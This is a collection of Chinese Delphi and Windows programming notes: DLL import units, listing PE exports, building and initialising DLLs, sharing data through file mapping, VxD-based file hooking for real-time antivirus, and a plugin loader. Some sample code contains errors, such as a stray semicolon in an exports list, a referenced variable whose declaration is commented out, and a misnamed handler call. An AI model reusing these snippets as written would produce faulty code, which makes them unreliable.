idAnimateCardhand1 = 678; { $02A6 }

idAnimateCardhand2 = 679; { $02A7 }

idAnimateCastle = 680; { $02A8 }

idAnimateSunSmile = 681; { $02A9 }

idAnimateSunSmileTongue = 682; { $02AA }

idAnimateRobot1 = 683; { $02AB }

idAnimateRobot2 = 684; { $02AC }

type

TCardId = Cardinal; { Win32 - 31-bit unsigned integer

Win16 - 16-bit unsigned integer }

TCardMode = Cardinal; { Win32 - 31-bit unsigned integer

Win16 - 16-bit unsigned integer }

TCoordinate = Integer; { Win32 - 32-bit signed integer

Win16 - 16-bit signed integer }

function cdtInit(var CardWidth, CardHeight: TCoordinate): Bool; {$ifdef

Win32} stdcall; {$endif Win32}

function cdtDraw(aDC: HDC; X,Y: TCoordinate; Card: TCardId;

Mode: TCardMode; Color: TColorRef): Bool; {$ifdef Win32} stdcall; {$endif

Win32}

function cdtDrawExt(aDC: HDC; X,Y,Width,Height: TCoordinate; Card: TCardId;

Mode: TCardMode; Color: TColorRef): Bool; {$ifdef Win32} stdcall; {$endif

Win32}

procedure cdtTerm; {$ifdef Win32} stdcall; {$endif Win32}

function cdtAnimate(aDC: HDC; Card: TCardId; X, Y: TCoordinate;

AnimateIndex: Word): Bool; {$ifdef Win32} stdcall; {$endif Win32}

implementation

const

{$ifdef win32}

sCardsDLL = 'CARDS.DLL';

{$else}

sCardsDLL = 'CARDS';

{$endif win32}

{$ifdef win32}

function cdtInit; external sCardsDLL name 'cdtInit';

function cdtDraw; external sCardsDLL name 'cdtDraw';

function cdtDrawExt; external sCardsDLL name 'cdtDrawExt';

procedure cdtTerm; external sCardsDLL name 'cdtTerm';

function cdtAnimate; external sCardsDLL name 'cdtAnimate';

{$else}

function cdtInit; external sCardsDLL index 1;

function cdtDraw; external sCardsDLL index 2;

function cdtDrawExt; external sCardsDLL index 3;

procedure cdtTerm; external sCardsDLL index 4;

function cdtAnimate; external sCardsDLL index 5;

{$endif win32}

end.


编写DLL应该注意的问题
DLL中函数的返回类型不能为String类型，string是自管理型类型。你用PChar试试。如果非要用string型也可，用变参。


查看DLL中的Exports函数

csdn的文档里有这个例子,我已经下载下来并且已经试过,应该没问题,现在把代码贴给你,如果不行我把例子发给你...

unit dlltools;

interface

Uses Windows, Classes, Sysutils, imagehlp ;

type

TDLLExportCallback = function (const name: String; ordinal: Integer;

address: Pointer): Boolean of Object;

{ Note: address is a RVA here, not a usable virtual address! }

DLLToolsError = Class( Exception );

Procedure ListDLLExports( const filename: String; callback:

TDLLExportCallback ); //列出函数...

Procedure DumpExportDirectory( Const ExportDirectory: TImageExportDirectory;

lines: TStrings; const Image: LoadedImage );

Function RVAToPchar( rva: DWORD; const Image: LoadedImage ): PChar;

Function RVAToPointer( rva: DWORD; const Image: LoadedImage ): Pointer;

implementation

resourcestring

eDLLNotFound =

'ListDLLExports: DLL %s does not exist!';

{+----------------------------------------------------------------------

| Procedure EnumExports

|

| Parameters :

| ExportDirectory: IMAGE_EXPORT_DIRECTORY record to enumerate

| image : LOADED_IMAGE record for the DLL the export directory belongs

| to.

| callback : callback function to hand the found exports to, must not be

Nil

| Description:

| The export directory of a PE image contains three RVAs that point at

tables

| which describe the exported functions. The first is an array of RVAs

that

| refer to the exported function names, these we translate to PChars to

| get the exported name. The second array is an array of Word that

contains

| the export ordinal for the matching entry in the names array. The

ordinal

| is biased, that is we have to add the ExportDirectory.Base value to it

to

| get the actual export ordinal. The biased ordinal serves as index for

the

| third array, which is an array of RVAs that give the position of the

| function code in the image. We don't translate these RVAs since the DLL

| is not relocated since we load it via MapAndLoad. The function array is

| usually much larger than the names array, since the ordinals for the

| exported functions do not have to be in sequence, there can be (and

| frequently are) gaps in the sequence, for which the matching entries in

the

| function RVA array are garbage.

| Error Conditions: none

| Created: 9.1.2000 by P. Below

+----------------------------------------------------------------------}

Procedure EnumExports( const ExportDirectory : TImageExportDirectory ;

const image : LoadedImage ;

callback : TDLLExportCallback ) ;

Type

TDWordArray = Array [0..$FFFFF] of DWORD;

Var

i: Cardinal;

pNameRVAs, pFunctionRVas: ^TDWordArray;

pOrdinals: ^TWordArray;

name: String;

address: Pointer;

ordinal: Word;

Begin { EnumExports }

pNameRVAs :=

RVAToPointer( DWORD(ExportDirectory.AddressOfNames), image );

pFunctionRVAs :=

RVAToPointer( DWORD(ExportDirectory.AddressOfFunctions), image );

pOrdinals :=

RVAToPointer( DWORD(ExportDirectory.AddressOfNameOrdinals), image );

For i:= 0 to Pred( ExportDirectory.NumberOfNames ) Do Begin

name := RVAToPChar( pNameRVAs^[i], image );

ordinal := pOrdinals^[i];

address := Pointer( pFunctionRVAs^[ ordinal ] );

If not callback( name, ordinal+ExportDirectory.Base, address ) Then

Exit;

End; { For }

End; { EnumExports }

{+----------------------------------------------------------------------

| Procedure ListDLLExports

|

| Parameters :

| filename : full pathname of DLL to examine

| callback : callback to hand the found exports to, must not be Nil

| Description:

| Loads the passed DLL using the LoadImage function, finds the exported

| names table and reads it. Each found entry is handed to the callback

| for further processing, until no more entries remain or the callback

| returns false. Note that the address passed to the callback for a

exported

| function is an RVA, so not identical to the address the function would

| have in a properly loaded and relocated DLL!

| Error Conditions:

| Exceptions are raised if

| - the passed DLL does not exist or could not be loaded

| - no callback was passed (only if assertions are on)

| - an API function failed

| Created: 9.1.2000 by P. Below

+----------------------------------------------------------------------}

Procedure ListDLLExports( const filename : String ; callback :

TDLLExportCallback ) ;

Var

imageinfo: LoadedImage;

pExportDirectory: PImageExportDirectory;

dirsize: Cardinal;

Begin { ListDLLExports }

Assert( Assigned( callback ));

If not FileExists( filename ) Then

raise DLLToolsError.CreateFmt( eDLLnotFound, [filename] );

If MapAndLoad( PChar( filename ), nil, @imageinfo, true, true ) Then

try

pExportDirectory :=

ImageDirectoryEntryToData(

imageinfo.MappedAddress, false,

IMAGE_DIRECTORY_ENTRY_EXPORT, dirsize );

If pExportDirectory = Nil Then

RaiseLastWin32Error

Else

EnumExports( pExportDirectory^, imageinfo, callback );

finally

UnMapAndLoad( @imageinfo );

end

Else

RaiseLastWin32Error;

End; { ListDLLExports }

{+----------------------------------------------------------------------

| Procedure DumpExportDirectory

|

| Parameters :

| ExportDirectory: a IMAGE_EXPORT_DIRECTORY record

| lines : a TStrings descendend to put the info into, must not be Nil

| Description:

| Dumps the fields of the passed structure to the passed strings

descendent

| as strings.

| Error Conditions:

| will raise an exception if lines is Nil and assertions are enabled.

| Created: 9.1.2000 by P. Below

+----------------------------------------------------------------------}

Procedure DumpExportDirectory( Const ExportDirectory : TImageExportDirectory;

lines : TStrings; const Image: LoadedImage ) ;

Begin { DumpExportDirectory }

Assert( Assigned( lines ));

lines.add( 'Dump of IMAGE_EXPORT_DIRECTORY' );

lines.add( format('Characteristics: %d',

[ExportDirectory.Characteristics]));

lines.add( format('TimeDateStamp: %d',

[ExportDirectory.TimeDateStamp]));

lines.add( format('Version: %d.%d',

[ExportDirectory.MajorVersion,

ExportDirectory.MinorVersion]));

lines.add( format('Name (RVA): %x',

[ExportDirectory.Name]));

lines.add( format('Name (translated): %s',

[RVAToPchar( ExportDirectory.name, Image )]));

lines.add( format('Base: %d',

[ExportDirectory.Base]));

lines.add( format('NumberOfFunctions: %d',

[ExportDirectory.NumberOfFunctions]));

lines.add( format('NumberOfNames: %d',

[ExportDirectory.NumberOfNames]));

lines.add( format('AddressOfFunctions (RVA): %p',

[Pointer(ExportDirectory.AddressOfFunctions)]));

lines.add( format('AddressOfNames (RVA): %p',

[Pointer(ExportDirectory.AddressOfNames)]));

lines.add( format('AddressOfNameOrdinals (RVA): %p',

[Pointer(ExportDirectory.AddressOfNameOrdinals)]));

End; { DumpExportDirectory }

{+----------------------------------------------------------------------

| Function RVAToPointer

|

| Parameters :

| rva : a relative virtual address to translate

| Image : LOADED_IMAGE structure for the image the RVA relates to

| Returns : translated address

| Description:

| Uses the ImageRVAToVA function to translate the RVA to a virtual

| address.

| Error Conditions:

| Will raise an exception if the translation failed

| Created: 9.1.2000 by P. Below

+----------------------------------------------------------------------}

Function RVAToPointer( rva : DWORD ; const Image : LoadedImage ) : Pointer;

var

pDummy: PImageSectionHeader;

Begin { RVAToPchar }

pDummy := nil;

Result :=

ImageRvaToVa( Image.FileHeader, Image.MappedAddress, rva,

pDummy );

If Result = Nil Then

RaiseLastWin32Error;

End; { RVAToPointer }

{+----------------------------------------------------------------------

| Function RVAToPchar

|

| Parameters :

| rva : a relative virtual address to translate

| Image : LOADED_IMAGE structure for the image the RVA relates to

| Returns : translated address

| Description:

| Uses the RVAToPointer function to translate the RVA to a virtual

| address. Note that we do not check that the address does indeed point

| to a zero-terminated string!

| Error Conditions:

| Will raise an exception if the translation failed

| Created: 9.1.2000 by P. Below

+----------------------------------------------------------------------}

Function RVAToPchar( rva : DWORD ; const Image : LoadedImage ) : PChar ;

Begin { RVAToPchar }

Result := RVAToPointer( rva, image );

End; { RVAToPchar }

end.

以下是调用函数的例子...

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ComCtrls, StdCtrls;

type

TfrmShowDll = class(TForm)

Button1: TButton;

ListView: TListView;

OpenDialog1: TOpenDialog;

procedure Button1Click(Sender: TObject);

private

function ListExport( const name: String; ordinal: Integer; address:Pointer ): Boolean;

{ Private declarations }

public

{ Public declarations }

end;

var

frmShowDll: TfrmShowDll;

implementation

uses DllTools;

{$R *.DFM}

{ TForm1 }

function TfrmShowDll.ListExport(const name: String; ordinal: Integer;

address: Pointer): Boolean;

var

listentry: TLIstItem;

begin

Result := true;

listentry:= listview.Items.Add;

listentry.Caption := Format('%p',[address] );

listentry.Subitems.Add( format('%d',[ordinal] ));

listentry.Subitems.Add( name );

end;

procedure TfrmShowDll.Button1Click(Sender: TObject);

begin

if OpenDialog1.execute then

begin

listview.items.clear;

ListDLLExports( opendialog1.filename, listexport );

end;

end;

end.


VC输出DLL函数的一个问题

Vc:

<Nmapi.h>

int WINAPI NMServiceStart( HINSTANCE hInstance, HWND hwnd, UINT uint );

int WINAPI NMServiceStop();

int WINAPI NMRegisterDealer( _ACCEPTCALL fpDealer );

int WINAPI NMCall( LPSTR lpAddress, tagNmAddrType nmAddType);

int WINAPI NMHangUp();

int WINAPI NMCancel();

<Nmapi.def>

LIBRARY Nmapi

EXPORTS

NMServiceStart @1

NMServiceStop @2

NMRegisterDealer @3

NMCall @4

NMHangUp @5

NMCancel @6

Note: 关键是应该有一个def文件，否则你用dll出口会有问题。

提醒：当你的dll创建好后，用dumpbin /exports 看看是否正确输出了


如何调用16位Dll

1.要创建一个Thunk Script 脚本

2。要创建一个32bit DLL

3.要利用32bit DLL来调用16bit DLL

然后用VC带的Thunk.exe来编译那个ThunkScript

用MASM来编译产生的汇编代码


用Delphi制作DLL

来自：阿朱, 时间：2001-5-18 8:49:00 [显示：小字体 | 大字体]

用Delphi制作DLL

一 Dll的制作一般步骤

二 参数传递

三 DLL的初始化和退出清理[如果需要初始化和退出清理]

四 全局变量的使用

五 调用静态载入

六 调用动态载入

七 在DLL建立一个TForM

八 在DLL中建立一个TMDIChildForM

九 示例：

十 Delphi制作的Dll与其他语言的混合编程中常遇问题：

十一 相关资料

一 Dll的制作一般分为以下几步：

1 在一个DLL工程里写一个过程或函数

2 写一个Exports关键字，在其下写过程的名称。不用写参数和调用后缀。

二 参数传递

1 参数类型最好与window C++的参数类型一致。不要用DELPHI的数据类型。

2 最好有返回值[即使是一个过程]，来报出调用成功或失败，或状态。成功或失败的返回值最好为1[成功]或0[失败].一句话，与windows c++兼容。

3 用stdcall声明后缀。

4 最好大小写敏感。

5 无须用far调用后缀，那只是为了与windows 16位程序兼容。

三 DLL的初始化和退出清理[如果需要初始化和退出清理]

1 DLLProc[SysUtils单元的一个Pointer]是DLL的入口。在此你可用你的函数替换了它的入口。但你的函数必须符合以下要求[其实就是一个回调函数]。如下：

procedure DllEnterPoint(dwReason: DWORD);far;stdcall;

dwReason参数有四种类型：

DLL_PROCESS_ATTACH:进程进入时

DLL_PROCESS_DETACH进程退出时

DLL_THREAD_ATTACH 线程进入时

DLL_THREAD_DETACH 线程退出时

在初始化部分写:

DLLProc := @DLLEnterPoint;

DllEnterPoint(DLL_PROCESS_ATTACH);

2 如Form上有TdcomConnection组件,就Uses Activex,在初始化时写一句CoInitialize (nil);

3 在退出时一定保证DcomConnection.Connected := False,并且数据集已关闭。否则报地址错。

四 全局变量的使用

在widnows 32位程序中，两个应用程序的地址空间是相互没有联系的。虽然DLL在内存中是一份，但变量是在各进程的地址空间中，因此你不能借助dll的全局变量来达到两个应用程序间的数据传递，除非你用内存映像文件。

五 调用静态载入

1 客户端函数声名:

1)大小写敏感。

2)与DLL中的声明一样。

如： showform(form:Tform);Far;external'yproject_dll.dll';

3)调用时传过去的参数类型最好也与windows c++一样。

4)调用时DLL必须在windows搜索路径中，顺序是：当前目录；Path路径；windows;widows;windows;

六 调用动态载入

1 建立一种过程类型[如果你对过程类型的变量只是一个指针的本质清楚的话，你就知道是怎么回事了]。如：

type

mypointer=procedure(form:Tform);Far;external;

var

Hinst:Thandle;

showform:mypointer;

begin

Hinst:=loadlibrary('yproject_dll');//Load一个Dll,按文件名找。

showform:=getprocaddress(Hinst,'showform');//按函数名找，大小写敏感。如果你知道自动化对象的本质就清楚了。

showform(application.mainform);//找到函数入口指针就调用。

Freelibrary(Hinst);

end;

七 在DLL建立一个TForM

1 把你的Form Uses到Dll中，你的Form用到的关联的单元也要Uses进来[这是最麻烦的一点，因为你的Form或许Uses了许多特殊的单元或函数]

2 传递一个Application参数，用它建立Form.

八 在DLL中建立一个TMDIChildForM

1 Dll中的MDIForm.FormStyle不用为fmMDIChild.

2 在CreateForm后写以下两句：

function ShowForm(mainForm:TForm):integer;stdcall

var

Form1: TForm1;

ptr:PLongInt;

begin

ptr:=@(Application.MainForm);//先把dll的MainForm句柄保存起来，也无须释放，只不过是替换一下

ptr^:=LongInt(mainForm);//用主调程序的mainForm替换DLL的MainForm。MainForm是特殊的WINDOW，它专门管理Application中的Forms资源.

//为什么不直接Application.MainForm := mainForm,因为Application.MainForm是只读属性

Form1:=TForm1.Create(mainForm);//用参数建立

end;

备注：参数是主调程序的Application.MainForm

九 示例：

DLL源代码：

library Project2;

uses

SysUtils,

Classes,

Dialogs,

Forms,

Unit2 in 'Unit2.pas' {Form2};

{$R *.RES}

var

ccc: Pchar;

procedure OpenForm(mainForm:TForm);stdcall;

var

Form1: TForm1;

ptr:PLongInt;

begin

ptr:=@(Application.MainForm);

ptr^:=LongInt(mainForm);

Form1:=TForm1.Create(mainForm);

end;

procedure InputCCC(Text: Pchar);stdcall;

begin

ccc := Text;

end;

procedure ShowCCC;stdcall;

begin

ShowMessage(String(ccc));

end;

exports

OpenForm;

InputCCC,

ShowCCC;

begin

end.

调用方源代码：

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

Button2: TButton;

Edit1: TEdit;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure OpenForm(mainForm:TForm);stdcall;External'project2.dll';

procedure ShowCCC;stdcall;External'project2.dll';

procedure InputCCC(Text: Pchar);stdcall;External'project2.dll';

procedure TForm1.Button1Click(Sender: TObject);

var

Text: Pchar;

begin

Text := Pchar(Edit1.Text);

// OpenForm(Application.MainForm);//为了调MDICHILD

InputCCC(Text);//为了实验DLL中的全局变量是否在各个应用程序间共享

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

ShowCCC;//这里表明WINDOWS 32位应用程序DLL中的全局变量也是在应用程序地址空间中，16位应用程序或许不同，没有做实验。

end;

十 Delphi制作的Dll与其他语言的混合编程中常遇问题：

1 与PowerBuilder混合编程

在定义不定长动态数组方面在函数退出清理堆栈时老出现不可重现的地址错，原因未明，大概与PB的编译器原理有关，即使PB编译成二进制代码也如此。


DLL的初始化和结束化

    一般的DLL不需要做初始化和善后工作，因此大部分读者可以跳

过这一节。但如果你想让你的DLL在被载入时先作一些初始设定，或

者退出时释放资源，则可以有三种方法达到目的：

<1>利用Unit的Initalization与Finalization这两个小节

    可以在Unit的这两个小节中安排Unit的进入和退出，但是

Program与Library并没有这两个部分，所以只能写在Unit中。

<2>利用ExitProc变量

    在Library的begin..end.中间是可以写代码的，这里可以放置

DLL初始化代码。如果想要做善后工作，则可以利用ExitProc变量。

我们首先在初始化代码中把ExitProc中包含的默认的善后过程地址保

存下来，然后把自定义的过程的地址赋给它，这样DLL退出时就会执

行我们制定的程序；在自定义的过程的最后，把ExitProc恢复原来的

默认值，以便DLL能够继续完成原来默认的善后工作。下面是示例：

    library MyDLL;

    ...

    OldExitProc: pointer;

    ...

    procedure MyExitProc;

    begin

    ... //善后程序

    ExitProc := OldExitProc;

    end;

    ...

    begin

    ... //初始化程序

    OldExitProc := ExitProc;

    ExitProc := @MyExitProc;

    end.

<3>利用DllProc变量

    和ExitProc一样，DllProc也是一个在Systemd单元中预定义的变

量。在使用DLLProc时, 必须先写好一个具有以下原型的程序:

    procedure DLLHandler(Reason: integer);

并在library的begin..end.之间, 将这个DLLHandler程序的执行地

址赋给DLLProc中, 这时就可以根据参数Reason的值分别作出相应的

处理。另外注意要将Windows单元加入uses子句。示例如下:

    library TestDLL;

    ...

    procedure MyDLLHandler(Reason: integer);

    begin

      case Reason of

        DLL_Process_Attach: //整个DLL的初始化代码

        DLL_Process_Detach: //整个DLL的善後程序

        DLL_Thread_Attach: //当主叫端开始一个Thread时

        DLL_Thread_Detach: //当主叫端终止一个Thread时

      end;

    end;

    ...

    begin

    ... //初始化代码

    DLLProc := @MyDLLHandler;

    MyDLLHandle(DLL_Process_Attach);

    end.

由上例可以知道，当DLL支援多进程(Thread)的处理时, DllProc非常

适合使用。


DLL的数据共享

library DllPrj;

uses

SysUtils,Windows;

const

CMapFileName='Kingron';

var

// GlobalData: Integer = 100;

PGlobalData:^integer=@GlobalData;

MapHandle:THandle;

function GetData: integer; stdcall;

begin

Result := PGlobalData^;

end;

function SetData(const i: integer):integer; stdcall;

begin

Result:=PGlobalData^;

if PGlobalData^ <> i then

PGlobalData^ := i;

end;

procedure OpenShareData;

var

size:integer;

begin

size:=SizeOf(PGlobalData^);

MapHandle:=CreateFileMapping(Dword(-1),nil,PAGE_READWRITE,0,Size,CMapFileName);

if MapHandle<>0 then

begin

PGlobalData:=MapViewOfFile(MapHandle,FILE_MAP_ALL_ACCESS,0,0,Size);

if PGlobalData=nil then

CloseHandle(MapHandle);

end;

end;

procedure CloseShareData;

begin

UnmapViewOfFile(Pointer(MapHandle));

end;

procedure DllEntryPoint(dwReason:Dword);

begin

case dwReason of

DLL_PROCESS_ATTACH:OpenShareData ;

DLL_PROCESS_DETACH:CloseShareData ;

end;

end;

exports

GetData,

SetData;

begin

DllProc:=@DllEntryPoint;

DllEntryPoint(DLL_PROCESS_ATTACH);

end.


VxD 技术及其在实时反病毒中的应用

VxD 技术及其在实时反病毒中的应用

----目前国内的Windows 9x

平台反病毒产品大多属静态反病毒软件，指导思想是"

以杀为主"，这一方式的缺点是病毒在被清除之前可能早已造成了严重危害。一个好的反病毒软件应该是"

以防为主，以杀为辅"，在病毒入侵时就把它清除掉，这就是实时反病毒技术。

----Windows 9x 使用Intel CPU 的Ring 0 和Ring 3

两个保护级。系统进程运行于Ring

0，因而具有对系统全部资源的访问权和管理权；而普通用户进程运行于Ring

3，只能访问自己的程序空间，不允许对系统资源进行直接访问，许多操作受到限制。显然这种普通用户进程是无法胜任实时反病毒工作的，必须使后台监视进程运行在Ring

0 优先级，实现这一目的基础就是VxD 技术。

一、VxD 技术的特点

----VxD 即虚拟设备驱动程序，用作Windows 9x

系统和物理设备之间的接口。但它不仅适用于硬件设备，也适用于按VxD

规范所编制的各种软件" 设备"。

----VxD 技术的实质是：通过加载具有Ring 0 最高优先级的VxD，运行于Ring 3

上的应用程序能够以一定的接口控制VxD

的动作，从而达到控制系统的目的。实时反病毒软件之所以要使用VxD

技术，关键有二:( 1) VxD 拥有系统最高运行权限( 2) 许多Windows 9x

系统底层功能只能在VxD 中调用，应用程序如果要用，必须编个VxD

作为中介。VxD

作为应用程序在系统中的一个代理，应用程序通过它来完成任何自己本身做不到的事情，通过这一手段，Windows

9x

系统为普通应用程序留下了扩充接口。很不幸，这一技术同样为病毒所利用，CIH

病毒正是利用了VxD 技术才得以驻留内存、传染执行文件、毁坏硬盘和Flash

BIOS。

----Windows 9x 系统下有众多的VxD，每个VxD 可提供4 种服务，即PM(

保护模式) API、V86( 虚拟86) API、Win32 服务和VxD 服务，前3

种分别供应用程序在16 位保护模式、V86 模式以及32 位保护模式下调用，VxD

服务则只供其他VxD 使用，用户开发的VxD

可提供任意上述服务。除此之外，应用程序还可通过调用API

函数DeviceIoControl 与支持IOCTL 接口的VxD 进行通信，执行Win32 API

不支持的系统低级操作。

二、VxD 技术的实现

----VxD

的操作基于寄存器，所以一般用汇编语言编写，它的关键部分是一个和普通窗口的消息处理过程WndProc

相类似的控制过程，不同之处在于它的处理对象是系统发来的控制消息。这些消息共51

种，在VxD

自加载至卸出整个生命周期内，操作系统不断向它发送各种控制消息，VxD

根据自己的需要选择处理，其余的忽略。系统向VxD

发送控制消息时将消息代号放在EAX 寄存器中，并在EBX

寄存器中放系统虚拟机(VM) 句柄。

----对动态VxD 来说，最重要的消息有三个: SYS_DYNAMIC_DEVICE_INIT

、SYS_DYNAMIC_DEVICE_EXIT

以及W32_DEVICEIOCONTROL，消息代号分别是1Bh、1Ch、23h。当VxD

被动态加载至内存时，系统向其发送SYS_DYNAMIC_DEVICE_INIT 消息，VxD

应在此时完成初始化设置并建立必要的数据结构；当VxD

将被卸出内存时，系统向其发送SYS_DYNAMIC_ DEVICE_EXIT 消息，VxD

在收到后应清除所作设置并释放相关数据结构；当应用程序调用API

函数DeviceIoControl 与VxD 进行通信时，系统向VxD

发送W32_DEVICEIOCONTROL 消息，它是应用程序和VxD

联系的重要手段，此时ESI 寄存器指向一个DIOCParams 结构，VxD

从输入缓冲区获取应用程序传来数据，相应处理后将结果放在输出缓冲区回送应用程序，达到相互传递数据的目的。

----应用程序向VxD 发出DeviceIoControl 调用时，第2

个参数用于指定进行何种控制，控制过程从DIOCParams 结构＋0Ch

处取得此控制码再进行相应处理。控制码的代号和含义由应用程序和VxD

自行约定，系统预定义了DIOC_GETVERSION( 0) 和DIOC_ CLOSEHANDLE( －1)

两个控制码，当应用程序调用API 函数CreateFile( " . VxDName", ... )

动态加载一VxD 时，系统首先向该VxD

的控制过程发送SYS_DYNAMIC_DEVICE_INIT 控制消息，若VxD

返回成功，系统将再次向VxD 发送带有控制码DIOC_OPEN(

即DIOC_GETVERSION，值为0) 的W32_DEVICEIOCONTROL 消息以决定此VxD

是否能够支持设备IOCTL 接口，VxD 必须清零EAX 寄存器以表明支持IOCTL

接口，这时CreateFile

将返回一个设备句柄hDevice，通过它应用程序才能使用DeviceIoControl

函数对VxD 进行控制。同一个VxD 可用CreateFile

打开多次，每次打开时都会返回此VxD

的一个唯一句柄，但是系统内存中只保留一份VxD，系统为每个VxD

维护一个引用计数，每打开一次计数值加1。当应用程序调用API

函数CloseHandle(hDevice) 关闭VxD 句柄时，VxD

将收到系统发来的带控制码DIOC_ CLOSEHANDLE 的W32_DEVICEIOCONTROL

消息，同时该VxD 的引用计数减1，当最终引用计数为0 时，系统向VxD

发送控制消息SYS_DYNAMIC_DEVICE_EXIT，然后将其从内存中清除。在极少数情况下，应用程序也可调用API

函数DeleteFile("\.") 忽略引用计数的值直接将VxD

卸出内存，这将给使用同一VxD 的其他应用程序造成毁灭性影响，应避免使用。

----一个典型的VxD 控制过程代码如下:

BeginProc VXD_Control

cmp eax，1Bh

; SYS_DYNAMIC_DEVICE_INIT 消息

jz vxd_dynamic_init_handle

cmp eax，1Ch

; SYS_DYNAMIC_DEVICE_EXIT 消息

jz vxd_dynamic_exit_handle

cmp eax，23h

; W32_DEVICEIOCONTROL 消息

jnz exit_control_proc

mov ecx，[esi ＋0Ch]

; 从DIOCParams ＋0Ch 处取控制码

....

; 处理控制码

EndProc VXD_Control

三、实时反病毒的关键技术-FileHooking

----应用程序通过使用动态加载的VxD，间接获得了对Windows 9x

系统的控制权，但要实现对系统中所有文件I/O

操作的实时监视，还要用到另一种关键技术－FileHooking，通过挂接一个处理函数，截获所有与文件I/O

操作有关的系统调用。Windows 9x 使用32

位保护模式可安装文件系统(IFS)，由可安装文件系统管理器(IFS Manager)

协调对文件系统和设备的访问，它接收以Win32 API

函数调用形式向系统发出的文件I/O

请求，再将请求转给文件系统驱动程序FSD，由它调用低级别的IOS

系统实现最终访问。每个文件I/O API 调用都有一个特定的FSD

函数与之对应，IFS Manager 负责完成由API 到FSD

的参数装配工作，在完成文件I/O API 函数参数的装配之后转相应FSD

执行之前，它会调用一个称为FileSystemApiHookFunction 的Hooker

函数。通过安装自己的Hooker 函数，就可以截获系统内所有对文件I/O 的API

调用，并适时对相关文件进行病毒检查，从而实现实时监控。

----上述过程由用户VxD 调用系统VxD IFSMgr 提供的服务完成，该VxD

提供了丰富的底层文件操作功能: IFSMgr_InstallSyatemApiHook

函数用来安装FileSystemApiHookFunction，IFSMgr_RemoveSystemApiHook

用来卸除Hooker，IFSMgr_Ring0_FileIO

用来对文件和磁盘扇区进行读写访问等等。当由IFS Manager

转入SystemApiHookFunction 时，带有6 个参数:

FileSystemApiHookFunction(

pIFSFunc FSDFnAddr，

// 对应FSD 服务函数地址

int FunctionNum，

// 与API 对应的FSD 服务功能号( 详见下面)

int Drive，

// 驱动器代号(1=A, 2=B, 3=C ...)

int ResourceFlags，

// 资源标志( 详见下面)

int CodePage，

// 代码页(0=ANSI，1=OEM)

pioreq pir

// 指向IOREQ 结构的指针

)

----参数中比较重要的是FSD 功能号、驱动器号和IOREQ 结构指针3

项。如需截获某个文件I/O API 调用，只需在Hooker 中对相应FSD

功能号进行处理

----系统中可挂接多个Hooker，形成一条链。IFSMgr_InstallFileSystemApiHook

安装Hooker 成功时返回前一个Hooker 地址，每个Hooker

在做特定处理后总应调用前一个Hooker，最后安装的Hooker 最先被调用。在VxD

中调用其他VxD 服务采用INT 20h

指令后跟一个双字的特殊格式，其中高字为被调用VxD 的ID 号( 系统VxD 的ID

固定)，低字为该VxD 之服务号，这一形式称为VxDcall，如:

int 20h

dd 00400043h

；VxDCall IFSMgr_InstallSystemApiHook

int 20h

dd 00400044h

；VxDCall IFSMgr_RemoveSystemApiHook


插件技术

Delphi 插件（Plug-ins）创建、调试与使用应用程序扩展

关键词：Delphi控件杂项

有没有使用过Adobe Photoshop？如果用过，你就会对插件的概念比较熟悉。

对外行人来说，插件仅仅是从外部提供给应用程序的代码块而已（举个例子来说，在

一个DLL中）。一个插件和一个普通DLL之间的差异在于插件具有扩展父应用程序功能

的能力。例如，Photoshop本身并不具备进行大量的图像处理功能。插件的加入使其获

得了产生诸如模糊、斑点，以及其他所有风格的奇怪效果，而其中任何一项功能都不

是父应用程序自身所具有的。

对于图像处理程序来说这很不错，可是为什么要花偌大的力气去完成支持插件的商业

应用程序呢？假设，我们举个例子，你的应用程序要产生一些报表。你的客户肯定会

一直要求更新或者增加新的报表。你可以使用一个诸如Report Smith的外部报表生成

器，这是个不怎么样的解决方案，需要发布附加的文件，要对用户进行额外的培训，

等等。你也可以使用QuickReport，不过这会使你身处版本控制的噩梦之中--如果每

改变一次字体你就要Rebuild你的应用程序的话。

然而，只要你把报表做到插件中，你就可以使用它。需要一个新的报表吗？

没问题，只要安装一个DLL，下次应用程序启动时就会看见它了。另外一个例子是处理

来自外部设备（比如条形码扫描器）的数据的应用程序，为了给用户更多的选择，你

不得不支持半打的各种设备。通过将每种设备接口处理例程写成插件，不用对父应用

程序作任何变动就可以获得最大程度的可伸缩性。

入门

在开始写代码之前最重要的事情就是搞清楚你的应用程序到底需要扩展哪些功

能。这是因为插件是通过一个特定的接口与父应用程序交互的，而这个接口将根据你的

需要来定义。在本文中，我们将建立3个插件，以便展示插件与父应用程序相交互的几

种方式。

我们将把插件制作成DLL。不过，在做这项工作之前，我们得先制作一个外壳程

序来载入和测试它们。图1显示的是加载了第一个插件以后的测试程序。第一个插件没有

完成什么大不了的功能，实际上，它所做的只是返回一个描述自己的字符串。不过，它

证明了很重要的一点--不管有没有插件应用程序都可以正常运行。如果没有插件，它

就不会出现在已安装的插件列表中，但是应用程序仍然可以正常的行使功能。

我们的插件外壳程序与普通应用程序之间的唯一不同就在于工程源文件中出现

在uses子句中的Sharemem单元和加载插件文件的代码。任何在自身与子DLL之间传递字符

串参数的应用程序都需要Sharemem单元，它是DelphiMM.dll（Delphi提供该文件）的接

口。要测试这个外壳，需要将DelphiMM.dll文件从Delphi目录复制到path环境变量

所包含的路径或者应用程序所在目录中。发布最终版本时也需要同时分发该文件。

插件通过LoadPlugins过程载入到这个测试外壳中，这个过程在主窗口的

FormCreate事件中调用，见图2。该过程使用FindFirst和FindNext函数在应用程序所在

目录中查找插件文件。找到一个文件以后，就使用图3所示的LoadPlugins过程将其载入。

{ 在应用程序目录下查找插件文件 }

procedure TfrmMain.LoadPlugins;

var

sr: TSearchRec;

path: string;

Found: Integer;

begin

path := ExtractFilePath(Application.Exename);

try

Found := FindFirst(path + cPLUGIN_MASK, 0, sr);

while Found = 0 do begin

LoadPlugin(sr);

Found := FindNext(sr);

end;

finally

FindClose(sr);

end;

end;

{ 加载指定的插件 DLL. }

procedure TfrmMain.LoadPlugin(sr: TSearchRec);

var

Description: string;

LibHandle: Integer;

DescribeProc: TPluginDescribe;

begin

LibHandle := LoadLibrary(Pchar(sr.Name));

